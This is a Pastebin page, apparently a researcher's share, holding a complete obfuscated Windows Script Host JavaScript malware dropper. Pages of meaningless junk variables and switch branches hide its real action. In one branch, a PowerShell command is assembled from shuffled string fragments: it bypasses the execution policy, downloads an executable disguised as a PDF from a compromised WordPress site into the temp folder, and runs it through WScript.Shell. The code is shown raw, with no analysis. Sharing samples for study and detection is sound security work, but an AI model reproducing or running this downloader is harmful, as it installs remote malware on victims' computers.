Advertisement
dynamoo

Malicious script

Jan 19th, 2017
829
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var orwepuqzo = '20665';
  2. var xinumbuk = "50855";
  3. var dushuxpogdu = 'wmixho';
  4. var sxuheplojo = null;
  5. var esuvci = 0;
  6. var ebgudeli = "run";
  7. var yrydwi = new Function("return WScript")();
  8.  
  9. function sqybyszy() {
  10.     return false;
  11. }
  12. var xlibxarxoh = undefined;
  13.  
  14. function avoqxop() {
  15.     var udisg = true;
  16.     return udisg;
  17. }
  18. var kepagymi = undefined;
  19.  
  20. function icsixja() {
  21.     return undefined;
  22. }
  23. function unomet() {
  24.     var uzipni = undefined;
  25.     return uzipni;
  26. }
  27. ikwapvu = 'osagamne';
  28.  
  29. function uzxuw() {
  30.     var eqit = 1.495;
  31.     return eqit;
  32. }
  33. var miwylxobo = "addezhuxi";
  34.  
  35. function etulufac() {
  36.     return 'wommuzki';
  37. }
  38. function dyvniwipg() {
  39.     return 'atvix';
  40. }
  41. var owbosny = '70611';
  42. var ibbotbyr = 'arqebivh';
  43. var josfivu = "59023";
  44. var tucukne = '54708';
  45. var iguwywj = 'ynity';
  46. var csajoshov = null;
  47. var uvvewpohu = 435;
  48. var imasi = typeof window == 'undefined';
  49. var pybidh = "power" + "sh" + "ell";
  50. vzifez = "dnaxekkinca";
  51.  
  52. function abmexleno() {
  53.     return 362;
  54. }
  55. function syzbatithe() {
  56.     var dysju = false;
  57.     return dysju;
  58. }
  59. function nyvoro() {
  60.     return '86352';
  61. }
  62. var sajxofu = 'ehoqilrarq';
  63.  
  64. function gpuprixg() {
  65.     return null;
  66. }
  67. var yruwa = false;
  68.  
  69. function dymbega() {
  70.     return 0;
  71. }
  72. var suxoxa = true;
  73. var hxiviwer = undefined;
  74.  
  75. function awewi() {
  76.     var gcasi = null;
  77.     return gcasi;
  78. }
  79. function yloglufimj() {
  80.     var wjivni = null;
  81.     return wjivni;
  82. }
  83. function asant() {
  84.     return undefined;
  85. }
  86. var agobkadqez = 'jytu';
  87. switch (hxiviwer) {
  88. case null:
  89.     if (uzxuw() == 9.495) {
  90.         var onojcov = null;
  91.         if (onojcov === 1) {
  92.             var ahvajiwbeql = true;
  93.             var imqycoqkekj = 'zasokuv';
  94.             var ymojilazb = 132.008;
  95.             var ybtylotx = ymojilazb + imqycoqkekj;
  96.             ybtylotx = ybtylotx + 3;
  97.             var rzirebih = 1;
  98.             var ysjyvka = 8;
  99.             ahuqdyfdubr = ysjyvka + iguwywj;
  100.             ahuqdyfdubr = ahuqdyfdubr + "xboh";
  101.         }
  102.     }
  103.     break;
  104. case undefined:
  105.     switch (awewi()) {
  106.     case undefined:
  107.         if (xlibxarxoh == undefined) {
  108.             var ifxuro = 19.2155;
  109.             ifxuro = "78691" + ifxuro;
  110.             var unazwogrevq = "kbudkivjadzo";
  111.             var mofuzijwe = '49065';
  112.             kygysi = "25946";
  113.             wymgizpul = 11.88;
  114.             var mykahm = kygysi + wymgizpul;
  115.         }
  116.         if (unomet() === undefined) {
  117.             var hajcybjeg = null;
  118.             var axkufvaze = null;
  119.             var soxeje = "66247";
  120.             soxeje = 83 + soxeje;
  121.             var ukuwexyg = "76370";
  122.             var vnemqahi = 6.6807;
  123.             var ixmeva = ukuwexyg + vnemqahi;
  124.             ixmeva = ixmeva + 45;
  125.             var oluna = 45;
  126.         }
  127.         if (csajoshov === "skovse") {
  128.             var exivu = 8.4851;
  129.             var ovozgidak = orwepuqzo + exivu;
  130.             var ulkaladv = '67069';
  131.             ulkaladv = 2 + ulkaladv;
  132.             var xwoveq = undefined;
  133.             var batop = 1;
  134.             var nyricimo = undefined;
  135.         }
  136.         if (uvvewpohu == 832) {
  137.             var vqagowizpa = 228;
  138.             mocymma = 68.976;
  139.             var jtidqylvabk = mocymma + vzifez;
  140.             jtidqylvabk = '76182' + jtidqylvabk;
  141.             var dsapawzykh = 1;
  142.             zwyzqiml = 'kenb';
  143.             zivvyrla = 734;
  144.             utylxy = zwyzqiml + zivvyrla;
  145.             utylxy = '8366' + utylxy;
  146.             var jqobik = 2.7575;
  147.         }
  148.         break;
  149.     case "77229":
  150.         if (xlibxarxoh == undefined) {
  151.             var ifxuro = 19.2155;
  152.             ifxuro = "78691" + ifxuro;
  153.             var unazwogrevq = "kbudkivjadzo";
  154.             var mofuzijwe = '49065';
  155.             kygysi = "25946";
  156.             wymgizpul = 11.88;
  157.             var mykahm = kygysi + wymgizpul;
  158.         }
  159.         if (unomet() === undefined) {
  160.             var hajcybjeg = null;
  161.             var axkufvaze = null;
  162.             var soxeje = "66247";
  163.             soxeje = 83 + soxeje;
  164.             var ukuwexyg = "76370";
  165.             var vnemqahi = 6.6807;
  166.             var ixmeva = ukuwexyg + vnemqahi;
  167.             ixmeva = ixmeva + 45;
  168.             var oluna = 45;
  169.         }
  170.         if (csajoshov === "skovse") {
  171.             var exivu = 8.4851;
  172.             var ovozgidak = orwepuqzo + exivu;
  173.             var ulkaladv = '67069';
  174.             ulkaladv = 2 + ulkaladv;
  175.             var xwoveq = undefined;
  176.             var batop = 1;
  177.             var nyricimo = undefined;
  178.         }
  179.         if (uvvewpohu == 832) {
  180.             var vqagowizpa = 228;
  181.             mocymma = 68.976;
  182.             var jtidqylvabk = mocymma + vzifez;
  183.             jtidqylvabk = '76182' + jtidqylvabk;
  184.             var dsapawzykh = 1;
  185.             zwyzqiml = 'kenb';
  186.             zivvyrla = 734;
  187.             utylxy = zwyzqiml + zivvyrla;
  188.             utylxy = '8366' + utylxy;
  189.             var jqobik = 2.7575;
  190.         }
  191.         break;
  192.     case 'ynavahfavj':
  193.         if (xlibxarxoh == undefined) {
  194.             var ifxuro = 19.2155;
  195.             ifxuro = "78691" + ifxuro;
  196.             var unazwogrevq = "kbudkivjadzo";
  197.             var mofuzijwe = '49065';
  198.             kygysi = "25946";
  199.             wymgizpul = 11.88;
  200.             var mykahm = kygysi + wymgizpul;
  201.         }
  202.         if (unomet() === undefined) {
  203.             var hajcybjeg = null;
  204.             var axkufvaze = null;
  205.             var soxeje = "66247";
  206.             soxeje = 83 + soxeje;
  207.             var ukuwexyg = "76370";
  208.             var vnemqahi = 6.6807;
  209.             var ixmeva = ukuwexyg + vnemqahi;
  210.             ixmeva = ixmeva + 45;
  211.             var oluna = 45;
  212.         }
  213.         if (csajoshov === "skovse") {
  214.             var exivu = 8.4851;
  215.             var ovozgidak = orwepuqzo + exivu;
  216.             var ulkaladv = '67069';
  217.             ulkaladv = 2 + ulkaladv;
  218.             var xwoveq = undefined;
  219.             var batop = 1;
  220.             var nyricimo = undefined;
  221.         }
  222.         if (uvvewpohu == 832) {
  223.             var vqagowizpa = 228;
  224.             mocymma = 68.976;
  225.             var jtidqylvabk = mocymma + vzifez;
  226.             jtidqylvabk = '76182' + jtidqylvabk;
  227.             var dsapawzykh = 1;
  228.             zwyzqiml = 'kenb';
  229.             zivvyrla = 734;
  230.             utylxy = zwyzqiml + zivvyrla;
  231.             utylxy = '8366' + utylxy;
  232.             var jqobik = 2.7575;
  233.         }
  234.         break;
  235.     case null:
  236.         uhynaj = "azof";
  237.         var wajkitezi = 199;
  238.         var lkydgamqaxx = wajkitezi + uhynaj;
  239.         var qjylwexawn = false;
  240.         var uwizumo = null;
  241.         var upqicxekt = "66272";
  242.         upqicxekt = "dodoqa";
  243.         var ntaluwese = 970;
  244.         unqadvewbux = xinumbuk + ntaluwese;
  245.         unqadvewbux = unqadvewbux + '56969';
  246.         var bewamd = undefined;
  247.         var kqutsufylp = "yjbers";
  248.         var zmicy = yrydwi.CreateObject('WScript.Shell');
  249.         switch (asant()) {
  250.         case null:
  251.             if (avoqxop() === true) {
  252.                 if (yruwa == "siqzil") {
  253.                     var opvimec = '9988';
  254.                     xninovgamgu = 26.6;
  255.                     ciqewsav = opvimec + xninovgamgu;
  256.                     ciqewsav = "ujofvacry" + ciqewsav;
  257.                     var qexwavowl = 7;
  258.                 }
  259.             }
  260.             if (typeof kepagymi == 'undefined') {
  261.                 udanyjo = 14.362;
  262.                 var yxraci = miwylxobo + udanyjo;
  263.                 yxraci = yxraci + 2.3;
  264.                 var skilpohojta = null;
  265.                 var nnanywejve = false;
  266.                 var ekyxaly = 1.552;
  267.             }
  268.             if (owbosny == "cfaka") {
  269.                 var ixulel = 'awa';
  270.                 var yjhycejn = 'lxoco';
  271.                 var wunowby = false;
  272.             }
  273.             break;
  274.         case "89628":
  275.             if (avoqxop() === true) {
  276.                 if (yruwa == "siqzil") {
  277.                     var opvimec = '9988';
  278.                     xninovgamgu = 26.6;
  279.                     ciqewsav = opvimec + xninovgamgu;
  280.                     ciqewsav = "ujofvacry" + ciqewsav;
  281.                     var qexwavowl = 7;
  282.                 }
  283.             }
  284.             if (typeof kepagymi == 'undefined') {
  285.                 udanyjo = 14.362;
  286.                 var yxraci = miwylxobo + udanyjo;
  287.                 yxraci = yxraci + 2.3;
  288.                 var skilpohojta = null;
  289.                 var nnanywejve = false;
  290.                 var ekyxaly = 1.552;
  291.             }
  292.             if (owbosny == "cfaka") {
  293.                 var ixulel = 'awa';
  294.                 var yjhycejn = 'lxoco';
  295.                 var wunowby = false;
  296.             }
  297.             break;
  298.         case undefined:
  299.             var inigi = 0;
  300.             var ugorazoz = null;
  301.             if (dymbega() == 234) {
  302.                 if (nyvoro() == false) {
  303.                     erbosa = 'kag';
  304.                     actywva = 60.4;
  305.                     var miqrur = erbosa + actywva;
  306.                     var qgoxidfa = 'cromve';
  307.                     var coxynp = 15.363;
  308.                     var exzarepo = 1.54;
  309.                     var awelsoxdoht = 2;
  310.                 }
  311.             } else {
  312.                 var irdonyhfi = 6.1403;
  313.                 var yzahutl = 53;
  314.                 var zujelvo = undefined;
  315.                 var nybimmotg = 10.97;
  316.                 if (imasi) {
  317.                     var ysinu = false;
  318.                     icvonqihe = 16.4386;
  319.                     var qifnehowu = icvonqihe + sajxofu;
  320.                     if (typeof yloglufimj() == 'object') {
  321.                         switch (suxoxa) {
  322.                         case 8:
  323.                             if (ibbotbyr === 174) {
  324.                                 var didevve = '38308';
  325.                                 if (didevve == "elic") {
  326.                                     var flotjaz = 'ehi';
  327.                                     flotjaz = 29 + flotjaz;
  328.                                     apyqkuqg = '27458';
  329.                                     var ulnebask = 89;
  330.                                     var enqyrpo = ulnebask + apyqkuqg;
  331.                                     enqyrpo = enqyrpo + 278.72;
  332.                                     var yzyqnescy = null;
  333.                                 }
  334.                             }
  335.                             if (abmexleno() < 549) {
  336.                                 if (syzbatithe() === false) {
  337.                                     yhzohqyqo = "19928";
  338.                                     uwvumwaztybl = 289;
  339.                                     var zwodfuviz = yhzohqyqo + uwvumwaztybl;
  340.                                     zwodfuviz = zwodfuviz + 47;
  341.                                     var azwenufek = "wuco";
  342.                                     liqziwso = 'apsyvosex';
  343.                                     var ikelyry = 24.4;
  344.                                     var nmolzexwy = ikelyry + liqziwso;
  345.                                     nmolzexwy = 18.2 + nmolzexwy;
  346.                                     var dqozbocy = 435;
  347.                                     dqozbocy = 'whekleplec' + dqozbocy;
  348.                                     var ahsocqy = 2.373;
  349.                                     ahsocqy = "45112";
  350.                                 }
  351.                             }
  352.                             break;
  353.                         case "afycleda":
  354.                             if (ibbotbyr === 174) {
  355.                                 var didevve = '38308';
  356.                                 if (didevve == "elic") {
  357.                                     var flotjaz = 'ehi';
  358.                                     flotjaz = 29 + flotjaz;
  359.                                     apyqkuqg = '27458';
  360.                                     var ulnebask = 89;
  361.                                     var enqyrpo = ulnebask + apyqkuqg;
  362.                                     enqyrpo = enqyrpo + 278.72;
  363.                                     var yzyqnescy = null;
  364.                                 }
  365.                             }
  366.                             if (abmexleno() < 549) {
  367.                                 if (syzbatithe() === false) {
  368.                                     yhzohqyqo = "19928";
  369.                                     uwvumwaztybl = 289;
  370.                                     var zwodfuviz = yhzohqyqo + uwvumwaztybl;
  371.                                     zwodfuviz = zwodfuviz + 47;
  372.                                     var azwenufek = "wuco";
  373.                                     liqziwso = 'apsyvosex';
  374.                                     var ikelyry = 24.4;
  375.                                     var nmolzexwy = ikelyry + liqziwso;
  376.                                     nmolzexwy = 18.2 + nmolzexwy;
  377.                                     var dqozbocy = 435;
  378.                                     dqozbocy = 'whekleplec' + dqozbocy;
  379.                                     var ahsocqy = 2.373;
  380.                                     ahsocqy = "45112";
  381.                                 }
  382.                             }
  383.                             break;
  384.                         case true:
  385.                             if (agobkadqez == 'jytu') {
  386.                                 var ixqewcalseb = 523;
  387.                                 amkybegk = 4;
  388.                                 ohkewoqhu = amkybegk + josfivu;
  389.                                 dcicerw = "84657";
  390.                                 var ydryny = 36.4;
  391.                                 fbumjyjar = ydryny + dcicerw;
  392.                                 fbumjyjar = fbumjyjar + 380;
  393.                                 var exepged = "cmd.exe /c \"" + pybidh + "  $sbyryr='^ent/plugins/ur';$ligud='^Set-ExecutionP';$iwej='^emp+''\idijas.e';$gypa='^Scope  Process;';$yrjabli='^nloadFile(''htt';$ydhujsa='^ct    System.Net.';$eryz='^p://www.studio';$ubcaji='^ $path=($env:t';$nloge='^rocess $path';$rutic='^path); Start-P';$upnetu='^legaleabbruzze';$czamfy='^ht_4832.pdf'',$';$imwedi='^Webclient).Dow';$icypri='^xwhbnw3ez/flig';$amerl='^xe'');(New-Obje';$idfofa='^se.com/wp-cont';$umxefb='^olicy     Bypass     -'; Invoke-Expression ($ligud+$umxefb+$gypa+$ubcaji+$iwej+$amerl+$ydhujsa+$imwedi+$yrjabli+$eryz+$upnetu+$idfofa+$sbyryr+$icypri+$czamfy+$rutic+$nloge);\"";
  394.                                 zmicy[ebgudeli](exepged, esuvci);
  395.                             }
  396.                             yzifi = '82658';
  397.                             var elravco = 207.32;
  398.                             var wpoqzadgyfi = yzifi + elravco;
  399.                             wpoqzadgyfi = 6 + wpoqzadgyfi;
  400.                             break;
  401.                         case "62807":
  402.                             if (ibbotbyr === 174) {
  403.                                 var didevve = '38308';
  404.                                 if (didevve == "elic") {
  405.                                     var flotjaz = 'ehi';
  406.                                     flotjaz = 29 + flotjaz;
  407.                                     apyqkuqg = '27458';
  408.                                     var ulnebask = 89;
  409.                                     var enqyrpo = ulnebask + apyqkuqg;
  410.                                     enqyrpo = enqyrpo + 278.72;
  411.                                     var yzyqnescy = null;
  412.                                 }
  413.                             }
  414.                             if (abmexleno() < 549) {
  415.                                 if (syzbatithe() === false) {
  416.                                     yhzohqyqo = "19928";
  417.                                     uwvumwaztybl = 289;
  418.                                     var zwodfuviz = yhzohqyqo + uwvumwaztybl;
  419.                                     zwodfuviz = zwodfuviz + 47;
  420.                                     var azwenufek = "wuco";
  421.                                     liqziwso = 'apsyvosex';
  422.                                     var ikelyry = 24.4;
  423.                                     var nmolzexwy = ikelyry + liqziwso;
  424.                                     nmolzexwy = 18.2 + nmolzexwy;
  425.                                     var dqozbocy = 435;
  426.                                     dqozbocy = 'whekleplec' + dqozbocy;
  427.                                     var ahsocqy = 2.373;
  428.                                     ahsocqy = "45112";
  429.                                 }
  430.                             }
  431.                             break;
  432.                         case "99257":
  433.                             if (ibbotbyr === 174) {
  434.                                 var didevve = '38308';
  435.                                 if (didevve == "elic") {
  436.                                     var flotjaz = 'ehi';
  437.                                     flotjaz = 29 + flotjaz;
  438.                                     apyqkuqg = '27458';
  439.                                     var ulnebask = 89;
  440.                                     var enqyrpo = ulnebask + apyqkuqg;
  441.                                     enqyrpo = enqyrpo + 278.72;
  442.                                     var yzyqnescy = null;
  443.                                 }
  444.                             }
  445.                             if (abmexleno() < 549) {
  446.                                 if (syzbatithe() === false) {
  447.                                     yhzohqyqo = "19928";
  448.                                     uwvumwaztybl = 289;
  449.                                     var zwodfuviz = yhzohqyqo + uwvumwaztybl;
  450.                                     zwodfuviz = zwodfuviz + 47;
  451.                                     var azwenufek = "wuco";
  452.                                     liqziwso = 'apsyvosex';
  453.                                     var ikelyry = 24.4;
  454.                                     var nmolzexwy = ikelyry + liqziwso;
  455.                                     nmolzexwy = 18.2 + nmolzexwy;
  456.                                     var dqozbocy = 435;
  457.                                     dqozbocy = 'whekleplec' + dqozbocy;
  458.                                     var ahsocqy = 2.373;
  459.                                     ahsocqy = "45112";
  460.                                 }
  461.                             }
  462.                             break;
  463.                         }
  464.                     }
  465.                 } else {
  466.                     if (sqybyszy() === false) {
  467.                         if (gpuprixg() == 'xipdynq') {
  468.                             var awzypsu = undefined;
  469.                             if (awzypsu == "mamohwaqk") {
  470.                                 var rjigankevy = undefined;
  471.                                 var gborgapeg = 453.4078;
  472.                                 zzidoracri = 'onanygix';
  473.                                 cqocyhym = 2;
  474.                                 var igimmefli = zzidoracri + cqocyhym;
  475.                                 var jhaqkawokta = undefined;
  476.                                 var uxiguxebq = "61682";
  477.                                 var ciwimel = 0.503;
  478.                                 var ecbimte = ciwimel + uxiguxebq;
  479.                                 ecbimte = ecbimte + 302;
  480.                                 var tizodeji = "92176";
  481.                                 var ukibry = 13.466;
  482.                                 ocmumfojqots = ukibry + tizodeji;
  483.                                 ocmumfojqots = ocmumfojqots + '2157';
  484.                             }
  485.                         }
  486.                     }
  487.                     if (sxuheplojo === null) {
  488.                         var iqxoqurdy = '58928';
  489.                         vpepxenux = 5;
  490.                         var dzowfezt = iqxoqurdy + vpepxenux;
  491.                         dzowfezt = '30739' + dzowfezt;
  492.                         var asgipwu = 'upjuvni';
  493.                         var scoreltofro = 947;
  494.                         var hufiq = asgipwu + scoreltofro;
  495.                         var epwaqhy = "sdiqc";
  496.                         epwaqhy = "ojveqce";
  497.                         var kkoqaxoqki = 5;
  498.                         var qekezufwo = kkoqaxoqki + dushuxpogdu;
  499.                         var dyddacolf = 60.35;
  500.                         lduqsavbasq = ikwapvu + dyddacolf;
  501.                         lduqsavbasq = lduqsavbasq + "3119";
  502.                         var jvupeka = '37458';
  503.                         var ysexgix = 5.623;
  504.                         var abymutotd = ysexgix + jvupeka;
  505.                         abymutotd = abymutotd + '20777';
  506.                     }
  507.                 }
  508.             }
  509.             break;
  510.         case "ynawycf":
  511.             if (avoqxop() === true) {
  512.                 if (yruwa == "siqzil") {
  513.                     var opvimec = '9988';
  514.                     xninovgamgu = 26.6;
  515.                     ciqewsav = opvimec + xninovgamgu;
  516.                     ciqewsav = "ujofvacry" + ciqewsav;
  517.                     var qexwavowl = 7;
  518.                 }
  519.             }
  520.             if (typeof kepagymi == 'undefined') {
  521.                 udanyjo = 14.362;
  522.                 var yxraci = miwylxobo + udanyjo;
  523.                 yxraci = yxraci + 2.3;
  524.                 var skilpohojta = null;
  525.                 var nnanywejve = false;
  526.                 var ekyxaly = 1.552;
  527.             }
  528.             if (owbosny == "cfaka") {
  529.                 var ixulel = 'awa';
  530.                 var yjhycejn = 'lxoco';
  531.                 var wunowby = false;
  532.             }
  533.             break;
  534.         }
  535.         break;
  536.     }
  537.     break;
  538. case 18.243:
  539.     if (uzxuw() == 9.495) {
  540.         var onojcov = null;
  541.         if (onojcov === 1) {
  542.             var ahvajiwbeql = true;
  543.             var imqycoqkekj = 'zasokuv';
  544.             var ymojilazb = 132.008;
  545.             var ybtylotx = ymojilazb + imqycoqkekj;
  546.             ybtylotx = ybtylotx + 3;
  547.             var rzirebih = 1;
  548.             var ysjyvka = 8;
  549.             ahuqdyfdubr = ysjyvka + iguwywj;
  550.             ahuqdyfdubr = ahuqdyfdubr + "xboh";
  551.         }
  552.     }
  553.     break;
  554. case 5.8:
  555.     if (uzxuw() == 9.495) {
  556.         var onojcov = null;
  557.         if (onojcov === 1) {
  558.             var ahvajiwbeql = true;
  559.             var imqycoqkekj = 'zasokuv';
  560.             var ymojilazb = 132.008;
  561.             var ybtylotx = ymojilazb + imqycoqkekj;
  562.             ybtylotx = ybtylotx + 3;
  563.             var rzirebih = 1;
  564.             var ysjyvka = 8;
  565.             ahuqdyfdubr = ysjyvka + iguwywj;
  566.             ahuqdyfdubr = ahuqdyfdubr + "xboh";
  567.         }
  568.     }
  569.     break;
  570. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement